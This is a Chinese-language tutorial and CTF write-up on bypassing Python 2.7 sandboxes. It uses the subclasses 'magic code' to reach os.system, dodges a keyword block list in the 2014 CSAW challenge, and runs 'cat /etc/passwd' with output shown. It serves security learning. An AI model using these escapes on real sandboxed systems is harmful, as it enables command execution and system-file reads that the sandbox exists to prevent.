内容简介:Python Sandbox Bypass
常规pysandbox方法:
利用 del __builtins__.__dict__[func]
进行危险函数过滤。
简单理解, __builtins__
存放着 Python 的内置模块。
比如: reload, __import__, print, raw_input
等
针对常规Python沙箱的bypass,以CTF呈现的形式居多。
以下环境全在python 2.7.10测试。
1. Magic Code
在Python里,这段 [].__class__.__base__.__subclasses__()
魔术代码,不用import任何模块,但可调用任意模块的方法。
具体使用如下:
1.1 查看Python版本
Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。
我们知道, sys.version
可以查看python版本。
>>> import sys >>> sys.version '2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'
所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。
我们找到 <class 'warnings.WarningMessage'>
,该Class已经导入了sys模块。
获取py版本如下:
def getPyVer(): magic = [].__class__.__base__.__subclasses__() for item in magic: if 'warnings.WarningMessage' in str(item): return item.__init__.__globals__['sys'].version print getPyVer()
返回:
2.7.10 (default, Oct 23 2015, 19:19:21) [GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]
1.2 命令执行
根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。
-
os
-
subprocess
-
commands
以os模块为例。
在2.7.10里,有以下3个Class导入了os模块。
<class 'site._Printer'> <class 'site.Quitter'> <class 'subprocess.Popen'>
我们利用任意一个Class的代码如下:
def cmdexec(cmd): magic = [].__class__.__base__.__subclasses__() for item in magic: if "<class 'site._Printer'>" == str(item): ret = item.__init__.__globals__['os'].system(cmd) return ret print cmdexec('whoami')
返回:
Viarus 0
2. 小试牛刀
以2014 CSAW-CTF为例。
from __future__ import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys" ] targets = __builtins__.__dict__.keys() targets.remove('raw_input') targets.remove('print') for x in targets: del __builtins__.__dict__[x] while 1: print(">>>", end=' ') data = raw_input() for no in banned: if no.lower() in data.lower(): print("[-] " + no) break else: # this means nobreak exec data
该代码很简单。
-
删除所有内置模块,除了
raw_input
和print
。 -
如果输入里匹配到
banned
列表里的黑名单,就退出程序。
现在的目的是读取系统上一个文件。方法大致两种:
-
调用file函数读取文件
-
执行命令
第一种方法就不阐述了。下面是第二种执行命令的Poc:
➜ python_sandbox_bypass python sandbox.py Welcome to my Python sandbox! Enter commands below! >>> s = 's' + 'ystem' >>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s] >>> a('cat /etc/passwd') nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
原理即上面执行命令的代码逻辑的原理。
由于不能出现 sys
字样,所以把 system
组合了下。
3. 总结
-
如果是module类型,可以使用
.__dict__.keys()
查看方法名,比如item.__init__.__globals__['os'].__dict__.keys()
-
调用方法使用
.__dict__['funcname']
,比如item.__init__.__globals__['os'].__dict__['system']
-
从class中获取该class的模块名
item.__init__.__globals__.keys()
4. 参考
-
CSAW-CTF Python sandbox write-up
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。